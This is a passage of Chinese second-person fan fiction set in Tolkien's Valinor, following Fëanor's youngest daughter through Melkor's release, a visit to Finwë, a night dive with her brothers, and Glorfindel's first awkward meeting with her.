没想到制作的斗篷出奇的成功,于是你干脆一口气做了许多条斗篷,那些天和你要好的精灵每一个都收获一件斗篷,等这群费诺里安换上斗篷去和其他精灵炫耀结果发现你的斗篷就跟批发一样人手一件的时候那就都是后话了。 嫌弃?他们又怎么会嫌弃呢,卡兰希尔沉默着从自己的背包里拿出早就准备好的礼物,“这个给你。” 阿姆罗德他们凑过来看热闹,你才打开礼物盒子他们就恍然大悟,“原来你给弥尔洛斯准备的是这个礼物啊,我说你之前怎么突然开始打造臂环了呢。” 卡兰希尔没说话,只是你今天穿的衣服不太适合佩戴臂环,但他的心意你收下了,你说:“真是太感谢您了。” 这下子卡兰希尔终于说出自己内心的诉求,他说:“如果你真的要表示感谢那就不要对我使用敬称,对待我就像对待你的其他哥哥一样。” 他的这个要求很简单,但也不难看出他的心思细腻,还会留意称谓问题,你说:“好的。” 后来你们又聚在一块聊了很久,等时间来到晚上,在晚餐席间他们更是有说不完的话题,你和奈丹尼尔更多时候就是坐在旁边偶尔点点头表示自己在听,这样温馨美好的氛围一直持续到米尔寇被释放那一天。 几乎整个提力安的精灵都在关注这件事,他们驻足于曼威的宫殿大门前,有的交头接耳窃窃私语,有的踮起脚尖试图看到宫殿的画面,当天你也来到曼威的宫殿外,你倒是想看看现在这个时期的米尔寇到底是怎样的。 也不知时间过去了多久,周围谈论声逐渐消退,宫殿大门缓缓打开,以曼威为首的众维拉出现在围观的精灵面前,曼威对着提力安乃至整个维林诺宣布释放米尔寇,他的声音并不算洪亮,但那消息还是传到了所有精灵耳朵里哪怕是不在提力安城的精灵也都第一时间知晓,他们纷纷望向提力安所在的方位。 跟随在曼威身后的其他维拉表情各异,有的神色恼怒,这里特指奥力还有欧洛米,而有的则是神色平静,比如瓦尔妲和雅凡娜。 雅凡娜看见了精灵堆里的你,她径直向你走来,问道:“你怎么会在这里?” “我也想看看那位被释放的,而且听说还改过自新的维拉到底长什么样。”你直白的话语引来米尔寇的注意,彼时的米尔寇还不像后来那样身形高大气势汹汹,现在他看上去真像个温和友善的维拉,不得不说他可真会装,也难怪会骗得其他精灵以及维拉团团转。 米尔寇对上你的目光,他对你浅浅一笑,你也对他还算礼貌地点了点头,这是你所能对他表达的最大程度的礼貌了。 其他精灵对米尔寇还心存疑虑,但你知道很快地,他们就会被米尔寇表现出来的假象所迷惑,甚至还认为他真是一位关心精灵的维拉。 想到这里你不免有些担心费艾诺,你环视一圈周围的精灵,没有看见费艾诺的身影,也对,按照他这种性格也不会出现在这里凑热闹,估计他又泡在自己的工坊里琢磨如何让自己的技艺更上一层楼吧。 而当你的目光掠过其中某位精灵的时候,你的视线停顿了一下,因为你看见了另外一张熟悉的面孔,那是还是少年的格洛芬德尔,你的停顿也被他捕捉到,他的身边还有另外一张熟悉的面孔,是他的好友埃克塞理安,但现在这个时间点你们并不认识,所以你装作冷漠地收回视线,跟着雅凡娜离开了。 留在原地的格洛芬德尔却久久地驻足,直到埃克塞理安伸出手拍拍他的肩膀,半是开玩笑地问:“你的脑袋出什么问题了吗?” “什么出问题了?”格洛芬德尔回过神来。 “脑袋。” “我没出问题。” 埃克塞理安不太相信地“噢”了一声,然后在格洛芬德尔欲言又止的时候脱口而出,“那是费艾诺最小的女儿,也是他唯一的女儿,在她上头还有七个哥哥,那加在一起就是八个费诺里安了。”说着,埃克塞理安用手指比划了“八”这个数字。 而且他还没说别的呢,比如说他们还是效忠芬国昐大人的精灵,费艾诺和芬国昐不和也不是一天两天的事情了,所以这件事情真是难上加难,埃克塞理安还能笑得出来,他说:“所以你做好准备了吗?” 格洛芬德尔拍开埃克塞理安的手,眉毛都皱了起来,他都在说什么有的没的,“我只是多看了她一眼而已,事情又不是你想的那样。” “你确定吗?不管怎么说我们都是朋友,你觉得我会看错你的表情吗?”埃克塞理安双手环胸,气势十足,这让格洛芬德尔心虚地侧过头,“但你还是太夸张了,我都还没有认识她呢,这根本论不上什么喜欢不喜欢的。” “你想要认识她?这还不好办,我知道她平常会去找芬巩大人他们玩耍,你到时候找个借口出现就好了,至少让她记住你的脸和名字,这就算是迈出第一步了。” 刚才格洛芬德尔还觉得埃克塞理安说得难得太夸张了,现在就又觉得这真是简单得太夸张了,真的有那么简单吗? “但是……”格洛芬德尔还心有犹豫摇摆不定,这时候埃克塞理安直接替他做了决定,“好了,要我说就没有‘但是’,哪怕只是和她成为朋友不也很好吗?虽然……她的父亲还有哥哥们可能不太友善。” 格洛芬德尔疑惑道:“真的只是稍微有一点不友善吗?” 这下子轮到埃克塞理安心虚了。 第107章 第107章“你好,我叫格洛芬德…… 米尔寇的释放确实在维林诺引起了一场不小的风波,大部分精灵认为他既然是维拉,即使犯过错但是现在已经改过自新,那么他们就应当以包容友善的态度接纳这位迷途知返的维拉。 但不是所有精灵都那么想的,至少你周围的诺多精灵不是那么认为的,尤其是迈兹洛斯,他曾不止一次提醒你要留意米尔寇,他的直觉告诉他对方表现出来的友好是带有强烈目的性的,而且更重要的一点是在米尔寇释放后没多久这位曾经犯了错的维拉就有意无意地与你偶遇。 不明白他究竟是带着什么目的与你偶遇的,但总归不是什么好事情,你对米尔寇的态度临界于礼貌与不耐烦之间,具体的态度如何取决于你当天的心情,就比如说现在,你的心情还算不错,因为你刚刚从祖父芬威那里回来,拜访祖父芬威不是你经常做的事情,毕竟你对这位诺多至高王的情感复杂,因为维林诺的风波,甚至是诺多精灵的出奔都可以说是因为他的第二段婚姻引起的。 不过你偶尔也会去他那边,一方面是你的母亲奈丹尼尔时不时地会提醒你去看望芬威,另一方面和芬威打好关系对你也没什么坏处,他的性格比你的父亲费艾诺好许多,通情达理多了,而且聊得开心了他也会送你不少东西,身为诺多至高王他的藏宝库里可有不少好东西。 因为你可以算是他所有孙辈里年纪最小的一个,外加之你与费艾诺的长相神似,也许是为了弥补费艾诺,他将这份愧疚也投映到了你身上,所以就算你主动去看望他的次数很少,他每次见到你还是会笑容满面,亲昵地呼唤你的名字,这次也不例外,在你和他还有一段距离的时候他就对你招招手,“弥尔洛斯,你来啦。” 你手里提着母亲奈丹尼尔准备的点心,因为你一路走得慢吞吞的,那点心也没有刚刚出炉时的热度,变得微凉,可芬威丝毫不介意这些,你把装着点心的篮子放在小圆桌上,芬威给你倒了一杯牛乳茶,也不知道为什么芬威这里的牛乳茶是你喝过最美味的,其他精灵泡的都没有这股风味。 你接过芬威递来的杯子,牛乳茶还是温热的,你礼貌地向他道谢,“谢谢您。” 你能够来见他就足以让芬威高兴的了,他说:“这是你母亲准备的点心吗?” “嗯,不过我也有帮忙。” 芬威有些惊喜地说:“真的吗?那我真是一位幸福的精灵。” 没错,他确实挺幸福的,还能再婚呢,你想着,喝了一口牛乳茶,温热的奶茶温暖你的肠胃,你的唇角也不由自主地浮现出温和的笑容,芬威又说起费艾诺的事情,不可否认的,他的确深爱自己的儿子,他和你聊天就经常聊到费艾诺,你有些好奇如果来的是芬巩又或者是芬罗德他们,他也会和他们谈论他们的父亲芬国昐和菲纳芬吗? 这个问题你没有问出口,自然也得不到答案,但真正让你欣喜的不是芬威提及费艾诺,而是芬威在无意之中说到他当初以诺多至高王的身份来到维林诺的时候曾经受到了造物主伊露维塔的感召,他说的这话话音还未落下你就追问:“这么说来您见过伊露维塔?” “不……这种经历应该不能说是‘见过’伊露维塔,而更像是我感受到了祂的存在。”哪怕精灵的记忆很好芬威一时之间也无法用精准的语言描述出那份感受,他只能说出只言片语,但仅仅是那几句话就足以引起你的兴趣,为了验证你的猜想你又问:“那么其他至高王也有过这样的经历吗?” “也许是的。”芬威谨慎地回答,因为你的态度突然之间发生转变,变得有些激动,他还是第一次见到你对什么东西那么感兴趣 的样子,他不知道该高兴还是该忧虑,因为你这份激动或许会将你推向另外一条路。 因此芬威转移话题,话题虽然换成了别的,但你脑袋想的都是他刚才说的话,就这样,你带着兴奋的情绪从芬威那里离开,而后就撞见了米尔寇,与他见面的时候你的脸上还带着未褪去的笑容,但唇角上扬的弧度一点一点地消失,最后唇线绷直。 “米尔寇大人。”你对着他点点头就算是打招呼了,后者看得出来你现在心情不错,他说:“傍晚好啊弥尔洛斯大人。”他也对你使用敬称,这感觉很奇怪,你瞥了米尔寇一眼,他回以一个笑容。 “傍晚好。”说完这话你就要走,但米尔寇没让话题就这么结束,他又说:“我听说您和您的父亲很像,如今看来确实是的,您的父亲可以说是维林诺精灵里才能最优秀的精灵,我想您应该也继承了他的才能吧。” 他这是一口气把你和费艾诺都夸奖了一遍,但你不吃这一套,你没说话,头也不回地离开了,米尔寇凝视着你的背影,心里补充道,何止是继承了费艾诺的才能,甚至连费艾诺高傲的性格也一并继承了,但是没关系,他还有很多时间,他总能找到切入点的。 他总能……毁掉这一切的。 米尔寇环视四周,从远处的双圣树到最近的灯塔,由远及近,将这副美好的画面收入眼底,破坏欲在内心肆意生长。 回到住所的你又听阿姆罗德说明天有一场宴会,你平常都不怎么关心这种事情,这也不能怪你,要是一年到头一大半的时间都在举行宴会那么忽视宴会也变得很正常。 阿姆罗德真正想说的不是这个,而是你和他去潜水这回事,他和弟弟阿姆拉斯学了一阵子的潜水,目前已经学得七七八八了,他说:“今天晚上还去潜水吗?” 虽然阿姆罗德是你的哥哥,但你们之间的年龄差不算太大,而且他和阿姆拉斯在其他费诺里安的照顾下也还是那么稚气未脱,因此和你一对比他倒更像是你的弟弟,难怪你和阿姆罗德还有阿姆拉斯出去的时候会有精灵开玩笑问你这是你的两个弟弟吗?每每听到这个这对双生子的脸蛋就会气得和他们的头发一样红彤彤的,咋咋呼呼地解释他们可是你的哥哥,货真价实的。 言归正传,你一边把从祖父芬威那里带来的浆果放在桌上,一边说:“可以去,但你和阿姆拉斯不能太打扰其他的泰勒瑞。” “我们只是友好相处而已,这也算是打扰吗?”阿姆罗德理直气壮地说,而且他那么做不还是为了告诉那群泰勒瑞不要打你的主意吗?相较而言他的举措已经很温和了,要是换成凯勒巩估计他会更加直接的吧,毕竟他本身就是个直接的精灵。 你抓了一把浆果塞到阿姆罗德手里,“吃点浆果吧,那是祖父给我的,很甜。”最主要是为了堵住他的嘴巴,免得他又说个不停。 阿姆罗德没察觉到你的真实意图,他吃了几颗浆果,终于安静下来了,你也回到自己的房间,躺在床上头脑中萦绕着万千思绪,过了一会你才从床上爬起来然后拿出自己的笔记本,如果芬威说的是真的,那么就意味着如果你成为诺多至高王的话你或许也能获得与伊露维塔对话的机会。 届时你就能询问伊露维塔如何摆脱这个模拟器系统了,想着,你的脸色变得凝重了许多,因为成为诺多至高王没有那么简单,且不提排在你前面的那几个哥哥,你的父亲都还没成为至高王呢,现在考虑这件事情似乎还为时过早。 唉,真麻烦,你放下笔记本重新倒在床上,一连叹了好几口气,你在房间里多待了一会,以至于晚餐的时候是最后一个到餐厅的,往常的日子你们这些个兄妹也不总能团聚着共进晚餐,因为很多时候你的那些兄长包括你在内都很可能因为其他事情没办法在当天晚上赶回来共进晚餐,今天晚上到餐厅的就只有你和阿姆罗德还有阿姆拉斯以及玛格洛尔。 奈丹尼尔坐在你身边,她问你今天给祖父芬威送去的点心他作何评价,你的回答一如既往,“很好,他很喜欢。” 因为约好了当天晚上要去潜水,所以晚餐时分的阿姆罗德和阿姆拉斯都对这顿晚餐兴致缺缺,他们偶尔对视一眼用眼神相互交流,坐在对面的玛格洛尔都习惯了他们这交头接耳的小习惯。 你瞥了他们俩一眼,阿姆罗德还对你眨眨眼睛,你又垂下眼帘,等到晚餐结束后他们俩就迫不及待地拉着你去海边,在去的路上他们还在你一言我一语地说着话。 “这次我要抓十个蛤蜊上来。” “那我就抓十一个。” “那我还要抓龙虾。” “你抓得到再说吧,别到时候还被龙虾的钳子给夹伤了。” 还没等你们走出宫殿出口,一道身影就出现在门口,定睛一看,原来是玛格洛尔,阿姆罗德和阿姆拉斯马上闭嘴,但是已经来不及了,估计玛格洛尔把他们刚才的对话听得一清二楚,他说:“这么晚了你们还要去哪里?” “啊?晚吗?也不算太晚吧……再说了,我们去散散步不行吗?”阿姆罗德觉得自己身为你们三个里最年长的精灵有必要承担起责任,因此他站出来回答玛格洛尔,但是后者显然不买账,他又说:“去海里散步吗?” 看样子他是全都听见了,阿姆罗德叹了一口气,换了个战术,恳请道:“我们就是去潜水而已,不如玛格洛尔你和我们一块去吧?”这大概就是说服不了那就干脆邀请对方加入。 玛格洛尔又看了看你,当天晚上的潜水活动临时取消对你也不会产生太大影响,你还可以把时间空出来去工坊里转转呢。 所以玛格洛尔一看就知道那是阿姆罗德和阿姆拉斯的主意,他不想扫了他们的兴,便妥协道:“好吧,那就一块去吧。” 阿姆罗德笑嘻嘻地凑到玛格洛尔身边,“那你今天晚上不弹琴了吗?真可惜,今晚提力安的精灵不能伴着美妙琴声入眠了。” “别和我开玩笑了。”玛格洛尔说着,话语间这对双生子就一溜烟地跑到了前头,留下你和玛格洛尔并肩同行,他的声音在你耳边响起,“肯定是他们对你软磨硬泡你才答应的对吧?” 玛格洛尔对自己的兄弟还有妹妹都很了解,他知道你虽然平日里不会对自己的哥哥们表现出太明显的亲近,但他可以肯定在你内心深处也是在乎着他们的。 “其实也不算是软磨硬泡。”更多的是因为你今天的心情不错,所以才会答应他们的请求,要是撞上那天你心情不好,他们说再多也没用。 你和玛格洛尔聊天,无论开头聊的是什么,最后总会绕到迈兹洛斯身上,有时候是你提起的,但更多时候是玛格洛尔主动说起的,这次是他先说迈兹洛斯为什么缺席今天的晚餐,原因是他在父亲费艾诺身 边学习如何处理政务,费艾诺将他视作未来的继承者,这倒也不奇怪,精灵的权力继承比人类的稍微简单一些。 费艾诺毫无疑问地会成为下一位诺多至高王,至于迈兹洛斯,从他的昆雅语父名“第三位芬威”就能看得出来,而你的昆雅语父名是沙理安芬威,意为无畏的芬威,说起来你其实还挺喜欢这个名字的,比起珍宝这一类称呼实在是好太多了。 但如果你日后想要成为诺多至高王的话,你现在就应该着手于日后的计划,由于你的父亲费艾诺是个执着的精灵,因此你没想着改变他的想法,你的初步计划是等王位传到迈兹洛斯手上,你再说服他交出至高王的王冠,这样一来难度系数也降低很多。 “那他肯定很累吧。”你看似在关心迈兹洛斯,实际上心里想的都是如何得到至高王的头衔。 玛格洛尔说:“他要是知道你那么关心他一定会很开心的。” ……你只是象征性地说了一句关心的话而已,就能被玛格洛尔定义为“那么关心”?他们是不是太夸张了一点? “我什么都没做,这也能算是关心吗?”你不由地反问。 “当然。”玛格洛尔深知你如果对其他精灵毫不关心的话,甚至都不会提及他们,虽然这样听起来显得你很冷漠,但有的时候冷漠也未尝不是一件好事,毕竟太过亲切也会给自己带来麻烦,上次玛格洛尔就碰巧遇见了尝试用礼物表达自己心意的泰勒瑞精灵,但是那份礼物最后并没有交到你手上,你就连这个消息都不曾知晓,究其原因还是玛格洛尔的保密工作做得好。 玛格洛尔不认为自己那么做有什么不妥的,因为在他看来普通的精灵根本配不上你,更何况你的年纪还小,这种事情也不用着急,这么想的精灵不止他一个,可以说你的其他哥哥也都是那么想的,区别就在于是否表现出来,以及表现得多明显,表现得最明显的大概就是凯勒巩了吧,毕竟他的脾气放在费诺里安也是最急躁的一个。 而阿瑞蒂尔也给出了一个非常精准的形容,凯勒巩就像是不受控制的胡安,一旦提及到你他真急了随便路过一个精灵都要咬一口,她这话也不知怎么的就传到了凯勒巩耳朵里,气得他当天晚上就去找阿瑞蒂尔讨个说法,结果阿瑞蒂尔指着正在气头上的凯勒巩说:“看,说你一两句就急了,难怪其他精灵在背后都这么说你。” 这件事情最后不了了之,但也足以说明凯勒巩确实很在乎你,尽管他的关心时常会让你感觉到束缚。 “你说得太夸张了。”你垂下眼帘,玛格洛尔将你侧脸的碎发捋到耳后,动作轻柔,他说:“你要记住你的哥哥们是爱你的。” 自进入这个世界以来你听过太多人类和精灵对你说过爱,雅维和贡多说爱你,但是当你反抗他们时,他们将你视作恶魔,格林说过爱你,但不肯放弃手中的权力,格洛芬德尔也说爱你,你好像真的获得了很多爱,可现在看来又一无所有。 “你们的爱是有条件的吗?如果我的言行举止超乎你们的想象呢?如果我会……”伤害你们呢? “没有条件。”玛格洛尔只回答了你的第一个问题,至于另外一个问题,他仿佛忽略了。 你抿抿唇,果不其然。 走在前头的阿姆罗德和阿姆拉斯终于舍得回过头,一看你们居然落下那么长的一段路,他们对你和玛格洛尔挥挥手,“哎呀,你们怎么不走得快一些呢?” 你加快脚步,将玛格洛尔甩在身后,同时也将刚才的沉闷话题抛之脑后。 夜晚的海边有着与白天截然不同的美丽风景,双圣树的皎洁光芒与海岸线下闪烁着宝石光辉交相辉映,使得这幅画面更加美丽了。 阿姆罗德和阿姆拉斯已经迫不及待地跑到海边,他们准备了一下热身运动接着就又纷纷朝你看过来,阿姆罗德说:“弥尔洛斯你不和我们一起吗?” 你慢悠悠地走到他们身边,说话也是懒洋洋的,“你们先下去吧,我不介意让一让你们。” 阿姆罗德挑起一边的眉毛,“那你可别小瞧我们啊。” 你配合地点点头,“当然,我可没有小瞧你们。” 阿姆拉斯没有和你废话,直接一头栽进海水里,急得阿姆罗德直接嚷嚷着,“啊!你怎么抢先一步啊!?这一点都不公平!” 阿姆拉斯的脑袋从海水里冒出来,他笑嘻嘻地说:“你可没说要同时下水啊——那我就先走一步啦!” 担心自己输给阿姆拉斯,阿姆罗德也不甘示弱地跳进海水里,海面泛起一圈又一圈的涟漪,没过一会儿就又归于平静,现场就只剩下你和玛格洛尔。 你半开玩笑地说:“你确定不学一学如何潜水吗?” 玛格洛尔瞧了你一眼,“我怎么感觉你是在等着看我的笑话呢。” 你耸耸肩,做了几个拉伸的动作,而后跃入水中,你从岸上跳到水里,几乎都没有发出任何声音,海面上也没有出现太多的水花,就如同游鱼回到海水里。 在学会潜水这个技能以后,你曾经有一段时间经常在海边练习,现在潜水对你来说轻而易举,海底世界也被你探索了个遍,你对海底探险的兴趣也在消退。 你在海底转了一圈,摸了摸正在休息的海星,又扒开水草惊走几条小丑鱼,最后带着几个贝类朝着海面游去。 站在海岸边的玛格洛尔不太确定你会从哪片海面突然冒出来,因此他沿着海岸线来回的徘徊。 也正是在这时,刚刚与埃克塞理安结束棋局的格洛芬德尔不知为何也来到海边,温暖潮湿的海风,拂过他的脸颊,他站在海岸边,心里想的是在明天的宴会上该如何与你搭话。 他该和你说些什么好呢?首先总应该自我介绍吧,他想了想,开始预演明天和你见面的画面。 “你好,我叫格洛芬德尔,你今天的打扮真美丽。” 嗯……这样的开场白未免也太没有新意了,估计都没办法在你心中留下印象,格洛芬德尔苦恼地皱起眉。 他又重新排练一遍,但是这一次他才开了个头,“你好,我叫格洛芬德尔——” 话还没说完就被突然溅起的水花打断,他一低头就看见你坐在岸边,海水打湿你的衣衫与长发,水珠顺着你的脸颊滑落,你光顾着挤干自己的头发,压根没发现站在你旁边的精灵不是玛格洛尔。 “喏,这是送给你的礼物。”你头都没抬一下,直接把那几个贝类放在他脚边。 等你把头发挤得半干,你依旧没有等来对方的回应,你总算是意识到有什么不对劲了,这才慢慢地抬起头,发现对方不是玛格洛尔,而是涨红了脸的格洛芬德尔。 第108章 第108章“我是站在弥尔洛斯那…… 太安静了,无论是你还是格洛芬德尔都没有出声,但你们保持安静的原因截然不同,这一点从你们形成鲜明对比的表情就能看出来,格洛芬德尔愣了许久,才找回自己的声音,这个时候应该坦然地和你打招呼的吧?但他很难做到坦然,甚至就连和你打招呼都磕磕巴巴,他刚才开始只发出一两个没什么意义的单音节,那就像是从他的喉咙里挤出来的一样。 “呃、我……”快说点什么吧,格洛芬德尔的内心这样催促着自己,别再让这份尴尬的死寂继续蔓延了,“晚上好。”他的声音不太自然,但他已经尽力了,这是他现在所能做到的极限了。 你的发梢还在滴水,滴答滴答,格洛芬德尔甚至不敢直视你,他在说完那句话以后就侧过身,眼睛盯着地面,唯恐冒犯了你,尽管他没看你,但是他那敏锐的听力还是捕捉到你起身的动静,水珠落在地面的细微声响,以及你捡起那些贝类发出的摩擦声。 虽说他之前就一直在内心虔诚地向维拉甚至 是伊露维塔祈祷能够与你见面,但他没想到那么快就应验了,他甚至都还没做好准备呢。 还好他今天为了赴埃克塞理安的约穿的也不算太随意,就是他的金发刚才被夜风吹乱了,恐怕看上去有些凌乱糟糕,想到这里,你突然的靠近打断他的思绪,他听见你说:“算了,那这些就送给你吧。” 他好像意外地得到了一份礼物,而且还是你送的礼物,只不过这份礼物本来应该属于另外一个精灵,他莫名有种冒名顶替某位精灵的心虚感,也正是因为这份心虚使得他没有马上从你手里接过礼物,他欣喜之余还有些犹豫,“谢谢你的好意,可这份礼物原本应该送给谁的呢?” 没等你回答,另外一道声音就从格洛芬德尔身后冒出来先一步替你回答,“原本应该送给我的。” 那是玛格洛尔的声音,格洛芬德尔回过头,他一下子了然,应该是你的兄长陪同你来到海边潜水,格洛芬德尔先前曾和玛格洛尔接触过,当然,他们之间的关系也仅限于知道对方的存在,大概就是所谓的点头之交吧,而且这还是他单方面那么认为的,至于玛格洛尔是什么态度,从他微微皱起的眉毛里就能找到答案。 玛格洛尔原先对格洛芬德尔本就不多的疏离礼貌也削减大半,玛格洛尔露出一个笑容,他在对你笑,同时斜睨格洛芬德尔一眼,“你也是来潜水的吗?” “我?噢……当然不,我就只是路过而已。”格洛芬德尔明明说的是实话,可是在玛格洛尔的注视下他的心虚不减反增,也许是因为他对你心存的那一份微妙而青涩的感情使得他在面对你的兄长时表露出不自然的一面,而玛格洛尔又是何其聪明,他一眼就看出这位诺多精灵的真实意图。 不过还好,至少对方还是一个诺多精灵,总比泰勒瑞精灵要好一些。 玛格洛尔重复再问一遍,“真的只是路过吗?” 玛格洛尔这幅逼问的姿态你都看不下去了,你把贝类塞到格洛芬德尔手里,然后对他挥挥手,示意他可以先离开了,“祝你今晚有个美梦。”格洛芬德尔手里拿贝类,他先是看看你,而后又看看旁边的玛格洛尔,喜悦漫上他的眉梢,不仅仅是因为你送的礼物,更是因为你随口说的那句话,他顺势说道:“祝你今晚也能有个美梦。” 说完这话他就从你们身边离开,玛格洛尔盯着格洛芬德尔的背影看了许久,表情阴沉沉的,他总觉得这个精灵不可能是偶然之间路过这里,更像是早有预谋地与你见面,想到这里,他忍不住冷哼一声,又去看你的脸,好在他倒是没有从你脸上看到对格洛芬德尔的任何情绪波动,仿佛对方只是一个普通的精灵,仅此而已。 但愿真的是仅此而已,玛格洛尔想。 “你之前见过他吗?”玛格洛尔不知道自己的语调听上去有多生硬,就好像是在质问你,你说:“既然他也在提力安,那么总归是会碰见的,你在担心什么吗?” 见你这样呛声,玛格洛尔就意识到是自己刚才的语气太强硬了,他低声向你道歉,刚想再问点什么,但好巧不巧地,阿姆罗德和阿姆拉斯一起从海水里冒出脑袋,就像是约定好了的一样,同步率百分百,阿姆罗德的脑袋刚刚探出水面他就开始嚷嚷,“快点,弥尔洛斯当裁判,这次肯定是我赢——” 阿姆拉斯先一步爬上岸,甩了甩自己的头发,就跟大型犬一样一上岸就疯狂甩水珠,玛格洛尔一时间躲避不及,愣是被他给甩了一身的水珠,完事以后阿姆拉斯还没什么歉意地对着玛格洛尔笑了一下,“抱歉啊,刚才没看见你在这里。” 他说的是实话,毕竟刚才他的脑袋里想的都是一定要赢得这场和阿姆罗德的比赛,所以自然而然地忽略了站在岸上的玛格洛尔,至于为什么他们没有忽略你,那大概是因为你上次差点被阿姆拉斯甩了一身水,你当即就狠狠报复回去了,这倒是让阿姆拉斯长了记性,所以刚才还特意避开了你。 阿姆罗德上岸以后就让你充当裁判清点他们的战利品,除了贝类,还有好几只龙虾,甚至还有一只大型章鱼,也不知道他是怎么找到的,你一一清点过去,然后发现居然刚好打成平手,你宣布这个结果以后阿姆罗德还有点不相信,他说:“怎么可能会是平手呢?这明显就是我占优势吧?” 接下来会发生什么你不用猜也知道,你叹了一口气,把裁判的重任丢给玛格洛尔,“既然你们觉得不合理那就让玛格洛尔来吧,我想他应该会给出一个你们都满意的结果的。” 玛格洛尔愣了一下,缓慢地眨了眨眼睛,“我?” 对此阿姆罗德和阿姆拉斯也不怎么赞同,他们只能退而求其次地说:“好吧,平手就平手吧。” 看吧,这就是折中法的魅力时刻,你都没有花费多少力气就避免了一场论战,你们迎着夜风慢悠悠地往住所走去,这时候的格洛芬德尔都已经回到了自己的住所,吹了一路的夜风他脸颊上的红晕也丝毫不减,因为他的脑海里还在反复回荡着你对他说的最后一句话。 虽然你们今天的见面有些出乎他的预料,但是最后分别的时候气氛比他想象的好多了,至少没有那么尴尬,就是你的兄长玛格洛尔一直盯着他看让他难免有些不自在的。 想起埃克塞理安说的追求你可能需要经历一点阻力,事实证明埃克塞理安说得还是太轻巧了,因为这何止是一点阻力,光是你的一个兄长就让他有些应付不过来了,再想想你那剩下的六个哥哥,格洛芬德尔的脑袋莫名开始作痛,但他显然不是那种知难而退的精灵,相反地,他不会为此而放弃自己对你的感情。 言归正传,多亏了今天晚上的偶遇,使得他在明天的宴会上能够顺理成章地和你搭话了,想着,他当天晚上根本就没有做梦,准确来说是他都没怎么入睡,好在精灵失眠一晚上也没什么问题,顶多就是看上去没有那么精神而已,但隔天早晨起来的格洛芬德尔脸上没有一丝一毫的疲惫,甚至可以用神采奕奕来形容。 他换上精心准备的长袍,又戴上手环和戒指,与埃克塞理安汇合的时候后者一脸奇怪地问道:“你今天怎么看上去那么兴奋?” 格洛芬德尔后知后觉地“啊?”了一声,他又问:“看上去很明显吗?” “嗯……稍微有点,你是遇到什么好事了吗?”埃克塞理安果然很了解自己的朋友,一看他的神态就知道对方肯定遇到了什么好事。 “确实是好事,我昨天在结束棋局以后就去海边散步了。” 埃克塞理安一边听着一边心想这算哪门子好事啊,难不成是格洛芬德尔在诓骗他吗?但他也没必要那么做吧?欺骗朋友能给 他带来什么好处吗? 格洛芬德尔实在是铺垫了太久,他详细地描述着昨天晚上的海风是那么温和柔软,他听着海浪的声音行走在海边,埃克塞理安的耐心都要被耗尽了,终于,他听到了一个关键词,他听见了你的名字,没错,他一下子就问道:“弥尔洛斯?你遇见她了?那你怎么不直接和我说啊,非得要这么拐弯抹角的吗?” “什么叫做拐弯抹角啊?这个叫做铺垫你懂不懂啊?” 抱歉,他确实不太明白什么叫做铺垫,他只觉得格洛芬德尔说话太啰嗦了,他又问:“但她怎么会在海边,哦不是,她还去潜水了?你遇见她的时候她恰好从海水里出来?” 埃克塞理安想象了一下那幅画面,难怪格洛芬德尔会那么神采奕奕的,他说:“然后呢?你和她都聊了些什么呢?”埃克塞理安还以为对方会说些什么呢,结果他只说:“我对她说晚上好,然后,她送了我礼物并且祝我能有个美梦。” 这样简短的句子和前面漫长的铺垫形成鲜明对比,埃克塞理安还以为他是在开玩笑呢,他不由地迷茫地“啊?”了一声,他的脸上写满了迷惑,但是格洛芬德尔丝毫不觉得这有什么不对劲的,直到现在他还沉浸在昨天与你相处的美好氛围中。 “等一下——”埃克塞理安打断格洛芬德尔的回忆,他整理了一下来龙去脉,如果他没有分析错的话,那就是说,昨天格洛芬德尔就只和你说了寥寥几句话吗?然后就……什么都没有了? 埃克塞理安将自己概括地说给格洛芬德尔听,后者过了几秒才点点头,“嗯,差不多就是这样吧,这样不是很好吗?” 呃,埃克塞理安一时之间也不知道该说些什么了,在格洛芬德尔看来肯定是一件好事,但是埃克塞理安觉得他的反应有些太夸张了,还以为你们昨天晚上聊了很久呢,但看在他那么高兴的份上,埃克塞理安也不忍心说什么大实话,就只能顺着他的意思说:“嗯嗯,这确实很好。” 后来他们又一边朝着宴会现场走去一边聊天,既然提到了你,那自然也绕不过你的那些个哥哥,以及你的父亲费艾诺,聊到后面格洛芬德尔本来还喜上眉梢,但到后面就开始一个劲地叹气,埃克塞理安都看不下去了,他安慰道:“但如果你们的感情足够真挚的话,我想肯定也能打动她的哥哥还有双亲的。” 格洛芬德尔因为这番话稍微多了点自信心,但是对方下一句又是:“你有考虑过好好练习剑术吗?呃,我是说那种能够以一敌八的剑术水平?” 别以为他没有听出来他的话外之音,格洛芬德尔说:“我会考虑一下的。”毕竟如果真的想要成为你的恋人,他总要变得格外优秀才行,因为在他看来你是如此的耀眼优秀。 聊着聊着他们就来到了宴会现场,那是一片开阔平坦的草地,他们才停下脚步图尔巩就对着他们招招手,他和身边的埃兰葳说了两句话,接着就又来到他们面前,“我还以为你们今天不来了呢。” “怎么会,我们要是不来的话肯定会错过很多东西的,而且我可以保证格洛芬德尔绝对会碎碎念个不停的。”埃克塞理安很顺利地将话题引到了格洛芬德尔身上,这让图尔巩好奇地问:“是么?那你上次为什么还缺席了星光宴会呢?” “那还不是因为她不在场。”埃克塞理安一时嘴快说了出来,图尔巩一下子就意识到了什么,他的笑容中带着几分揶揄,“什么什么?我究竟错过了什么呢?” 格洛芬德尔没好气地用胳膊肘捅了捅埃克塞理安的手臂,示意他不要再乱说话了,埃克塞理安这才收敛,但他脸上还是挂着八卦的笑容。 见状,图尔巩也没有继续追问,毕竟格洛芬德尔看起来似乎不太愿意再展开这个话题,他便将话题转到宴会上面,格洛芬德尔也顺势观察四周,面上似乎是在看风景实际上不然,他是在寻找你的身影,而此时的你正和加拉德瑞尔坐在一块听她抱怨自己的兄长不希望她离开提力安,说着说着她就叹了一口气,“仅仅因为我是他们的妹妹所以就只能听从他们的建议吗?” 加拉德瑞尔和你的处境很相似,你说:“你大可以将他们的建议抛之脑后。”你相信就算你不说这句话加拉德瑞尔日后也会那么做的,因为从她后来跟着一同出奔就能看出来她绝不是将选择权交到其他精灵手里的性格。 你和她在性格上也存在着许多相似点,这也是为什么你与她合得来,才见过几面就成为了好友,甚至她与你无话不谈。 